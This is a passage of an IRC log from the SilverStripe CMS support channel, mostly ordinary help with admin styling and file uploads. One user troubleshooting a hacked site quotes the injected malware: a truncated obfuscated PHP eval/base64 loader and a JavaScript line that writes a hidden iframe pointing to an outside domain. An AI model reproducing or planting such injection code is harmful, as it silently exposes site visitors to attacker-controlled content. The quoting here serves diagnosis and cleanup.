1338: [22:54:00] <Pyromanik> and we'll try and help you
1339: [22:54:00] <Rastafarii> I only added new stylesheet for admin
1340: [22:54:00] <Rastafarii> project folder is still called "mysite" with only defaut classes and _config.php
1341: [22:54:00] <Zauberfisch> well, Pyromanik, some day, when time is in my favour, I will fix it, but there might be months and years to come before it is
1342: [22:55:00] <Pyromanik> Zauberfisch: (that was rhetorical... :P )
1343: [22:55:00] <Rastafarii> clean install, only LeftAndMain::require_css('s69-common/css/admin.css');
1344: [22:55:00] <Zauberfisch> Pyromanik I figured
1345: [22:55:00] <Pyromanik> Zauberfisch: tell me about it
1346: [22:55:00] <Rastafarii> 3.0.3
1347: [22:55:00] <Pyromanik> Rastafarii: and you got this from a tarball or github?
1348: [22:56:00] * chillu23 has joined #silverstripe
1349: [22:56:00] <Rastafarii> downloaded from website
1350: [22:56:00] * chillu23 has joined #silverstripe
1351: [22:56:00] * chillu23 quit (Changing host)
1352: [22:57:00] * chillu quit (Ping timeout: 256 seconds)
1353: [22:57:00] * chillu23 is now known as chillu
1354: [22:57:00] * funkygibbon_ has joined #silverstripe
1355: [22:59:00] * Colin[pi] has joined #silverstripe
1356: [23:00:00] * mobiusnz quit (Quit: Leaving.)
1357: [23:01:00] * funkygibbon quit (Ping timeout: 260 seconds)
1358: [23:03:00] <Pyromanik> Rastafarii: what website
1359: [23:03:00] <Rastafarii> silverstripe.org
1360: [23:04:00] <Pyromanik> what else is in s69-common?
1361: [23:04:00] * chillu quit (Quit: chillu)
1362: [23:04:00] <Pyromanik> oh, so the tarball
1363: [23:05:00] * travis-ci has joined #silverstripe
1364: [23:05:00] <travis-ci> [travis-ci] Change view : https://github.com/chillu/silverstripe-cms/compare/6eb597a2d570^...9f8d0271c273
1365: [23:05:00] <travis-ci> [travis-ci] chillu/silverstripe-cms#12 (experiments/sanitize-object-properties - 9f8d027 : Ingo Schommer): The build passed.
1366: [23:05:00] <travis-ci> [travis-ci] Build details : http://travis-ci.org/chillu/silverstripe-cms/builds/4653030
1367: [23:05:00] * travis-ci has left #silverstripe
1368: [23:06:00] <Rastafarii> _config.php, admin.css and admin.js
1369: [23:06:00] <Rastafarii> css and js
1370: [23:06:00] <Pyromanik> and the config has nothing but the require css call in it?
1371: [23:06:00] * DigNZ1 quit (Quit: DigNZ1)
1372: [23:07:00] <Rastafarii> and js just closes filter panel
1373: [23:07:00] <Pyromanik> it's not open by default?
1374: [23:08:00] <Rastafarii> I want to keep it closed always
1375: [23:08:00] <Rastafarii> what, filter panel?
1376: [23:08:00] <Pyromanik> mm
1377: [23:08:00] <Rastafarii> I want to keep it closed by default
1378: [23:08:00] <Pyromanik> it is closed by default.
1379: [23:08:00] <Rastafarii> yes
1380: [23:08:00] <Rastafarii> but if you open it
1381: [23:08:00] <Rastafarii> it stays open
1382: [23:08:00] <Pyromanik> right
1383: [23:08:00] <Pyromanik> ok
1384: [23:08:00] <Pyromanik> cool
1385: [23:09:00] <Rastafarii> if I need it, I'll open it
1386: [23:10:00] <Pyromanik> did you?
1387: [23:10:00] <Zauberfisch> I am just trying out the gridfield inline stuff
1388: [23:10:00] <Zauberfisch> and I have one thing to say
1389: [23:10:00] <Pyromanik> Zauberfisch: and?
1390: [23:10:00] <Zauberfisch> hail ajshort
1391: [23:10:00] <Rastafarii> I just found another issue with Upload
1392: [23:10:00] <Pyromanik> always
1393: [23:11:00] <irogue> oh yes
1394: [23:11:00] <irogue> [11:00] <@sminnee> you gonna ask all the hard questions, irogue?
1395: [23:11:00] <simon_w> irogue, find out who his favourite employee is
1396: [23:11:00] <Rastafarii> I get all files inside assets folder in gridfield
1397: [23:11:00] <Pyromanik> by upload you mean you click the files tab
1398: [23:11:00] <Pyromanik> and try and upload through it
1399: [23:11:00] <Pyromanik> ?
1400: [23:11:00] <Rastafarii> when I delete that file (it's uploaded, but gives an error)
1401: [23:11:00] * qlex has left #silverstripe
1402: [23:12:00] * qlex has joined #silverstripe
1403: [23:12:00] * ezero has joined #silverstripe
1404: [23:12:00] <qlex> hey guys
1405: [23:12:00] <qlex> i replaced the cms and sapphire directories...
1406: [23:12:00] <Pyromanik> Rastafarii: I have no idea what you're talking about sorry
1407: [23:12:00] <qlex> i can now get to admin section...
1408: [23:12:00] <irogue> i asked the most important AMA question of all. let's see if it makes it past the Keall
1409: [23:12:00] <qlex> but still, after providing credentials i can see server is loading/requesting something from a suspicious server, rather than only mine and google's ?
1410: [23:12:00] <Rastafarii> inside assets I have one folder (Uploads) and two files - error pages
1411: [23:12:00] <qlex> where to look for hints?
1412: [23:13:00] <qlex> this is 2.4.9 now installation
1413: [23:13:00] <simon_w> qlex, do a search in your code base for that server
1414: [23:13:00] <Rastafarii> when I (try to) upload file, I get an error, but file is uploaded inside assets folder
1415: [23:14:00] <qlex> so download all files and then search locally ?
1416: [23:14:00] <qlex> hmm, im running on client installtion
1417: [23:14:00] <qlex> and have ftp access only
1418: [23:14:00] <Rastafarii> when I delete it, all files (error pages + Uploads folder + all files inside Uploads folder) are shown in gridfield
1419: [23:14:00] * travis-ci has joined #silverstripe
1420: [23:14:00] <travis-ci> [travis-ci] chillu/sapphire#54 (experiments/sanitize-object-properties - 14a6235 : Ingo Schommer): The build has errored.
1421: [23:14:00] <travis-ci> [travis-ci] Change view : https://github.com/chillu/sapphire/compare/326036a50179^...14a6235fdeda
1422: [23:14:00] <travis-ci> [travis-ci] Build details : http://travis-ci.org/chillu/sapphire/builds/4653019
1423: [23:14:00] * travis-ci has left #silverstripe
1424: [23:15:00] <Rastafarii> and this issues occurs only when I try to upload to the assets folder
1425: [23:16:00] <Rastafarii> if I upload it to Uploads, everything is ok
1426: [23:16:00] <Pyromanik> sounds like permissions issue on assets
1427: [23:17:00] <Pyromanik> it could be, but unlikely
1428: [23:17:00] <Pyromanik> ha
1429: [23:17:00] <Rastafarii> permissions on Windows?
1430: [23:17:00] <Pyromanik> what a joke
1431: [23:17:00] <Rastafarii> yeah :D
1432: [23:18:00] <Pyromanik> are you using AMP stack?
1433: [23:19:00] <Rastafarii> yup, XAMPP 3.1.0 (I think)
1434: [23:20:00] <Rastafarii> 1.8.1 VC9
1435: [23:20:00] <Rastafarii> nope
1436: [23:20:00] <Rastafarii> it's a version on XAMPP CP
1437: [23:21:00] <Colin[pi]> good morning all
1438: [23:21:00] <Pyromanik> hmm, I don't upload much
1439: [23:21:00] <Pyromanik> so I'm not too sure
1440: [23:21:00] <Pyromanik> but maybe SS doesn't let you upload to assets anymore
1441: [23:22:00] <qlex> simon_w: im getting a call to a server which i think i cannot see in my code base'
1442: [23:23:00] <qlex> maybe that server is encoded in that dtring ?
1443: [23:23:00] <Colin[pi]> urg
1444: [23:23:00] <qlex> i could see that the files added to my install included a file called default.php...
1445: [23:23:00] <qlex> that has in its content something like :
1446: [23:23:00] <qlex> <?php eval(gzinflate(base64_decode("DdNFDqxaA.......
1447: [23:24:00] <Colin[pi]> anything with base64_decode() scares the crap out of me
1448: [23:25:00] <qlex> and it added stuff to .htaccess'es and added default.php and some other add ons to php files
1449: [23:25:00] <Rastafarii> Pyromanik: I just tested this on two other installs
1450: [23:25:00] <qlex> im trying to get out of that problem
1451: [23:25:00] * Webdoc quit (Quit: Page closed)
1452: [23:25:00] <qlex> Colin[pi]: my VPS with all my ss installation was probably hacked through filezilla client
1453: [23:25:00] <Colin[pi]> yuck
1454: [23:25:00] <Colin[pi]> I've had that happen before but not with ss yet
1455: [23:26:00] <qlex> although that is now happening on his server, not mine
1456: [23:26:00] <qlex> first time ever something like this happens to me
1457: [23:26:00] <Rastafarii> it doesn't work either
1458: [23:26:00] <qlex> almost there, now can even log in to cms (listened to willr and upgraded my client from 2.4.2 to 2.4.9
1459: [23:26:00] <qlex> so must have been my filezilla client hacked and then it hacked clients server
1460: [23:27:00] <qlex> when i proviude user/pass and start logging in to csm, i can see calls to emanuelvigeland.no
1461: [23:27:00] <howardgrigg> lol sminnee AMA on nbr.co.nz at 3pm - or else just anytime in IRC :p
1462: [23:27:00] <Colin[pi]> :(
1463: [23:27:00] <qlex> but how to find that ?
1464: [23:27:00] <Colin[pi]> I had a whole server infected with this sort of crap
1465: [23:27:00] <Colin[pi]> via wordpress and joomla! security holes
1466: [23:28:00] <Rastafarii> when I try to upload directly to assets, $folderPath is set to "/", but when I try to upload it to Uploads, $folderPath is "Uploads/"
1467: [23:28:00] <qlex> this case, it could be security of silverstripe since these are older versions
1468: [23:29:00] <Colin[pi]> sminnee: is this AMA going to have live video? or just Q+A's posted on the NBR page?
1469: [23:30:00] <Colin[pi]> qlex: can you perform a grep on the client's server?
1470: [23:30:00] <Rastafarii> bottom line - it looks that uploading to assets folder isn't possible, and yet you have a link to do it
1471: [23:31:00] <sminnee> Colin[pi]: just a Q&A on the NBR page
1472: [23:31:00] <sminnee> howardgrigg: yeah not everyone knows how to use IRC
1473: [23:32:00] <Colin[pi]> sminnee: k thanks
1474: [23:33:00] * EPIK has joined #silverstripe
1475: [23:35:00] <qlex> nope, i have no shell access
1476: [23:35:00] <qlex> but im downloading from ftp all the files
1477: [23:36:00] <qlex> but it even added itself to dataobject_manager/javascript/swfobject.js
1478: [23:36:00] <qlex> document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://emanuelvigeland.no/ohcs.html?j=1293958></iframe>');
1479: [23:36:00] <qlex> with a 1st row entryL
1480: [23:36:00] <qlex> !
1481: [23:36:00] <qlex> and already searching for this server
1482: [23:36:00] <qlex> and i found it
1483: [23:36:00] <Colin[pi]> aw damn, last time I had this happen I had to grep the entire web root for base64_decode(
1484: [23:36:00] <qlex> you wouldnt believe...
1485: [23:37:00] <Colin[pi]> dude you might be getting towards "nuke from orbit" status
1486: [23:37:00] <Colin[pi]> :\
1487: [23:38:00] <Zauberfisch> onlything missing for the inline module is a way to ad new records inline
1488: [23:43:00] * Shrike_Finland1 quit (Read error: Connection reset by peer)
1489: [23:43:00] * Stomach quit (Quit: Leaving.)
1490: [23:44:00] * Shrike_Finland has joined #silverstripe
1491: [23:47:00] * Unlearned quit (Quit: Going offline, see ya! (www.adiirc.com))
1492: [23:51:00] * Bollig|DesignCty quit (Quit: Bollig|DesignCty)
1493: [23:54:00] * qlex has left #silverstripe
1494: [23:54:00] * Bollig|DesignCty has joined #silverstripe
1495: [23:55:00] <Rastafarii> is there any way of hiding error pages from Files/Edit & organize gridfield?
1496: [23:55:00] * catcher quit (Quit: Leaving)
1497: [23:58:00] <Zauberfisch> Rastafarii I do not understand your question
1498: [23:59:00] <FrozenFire> Fix them
1499: [23:59:00] <FrozenFire> Oh, you mean the 404 and 503 pages
1500: [23:59:00] <FrozenFire> Rastafarii, Yes.

These logs were automatically created by ss-log on irc.freenode.net.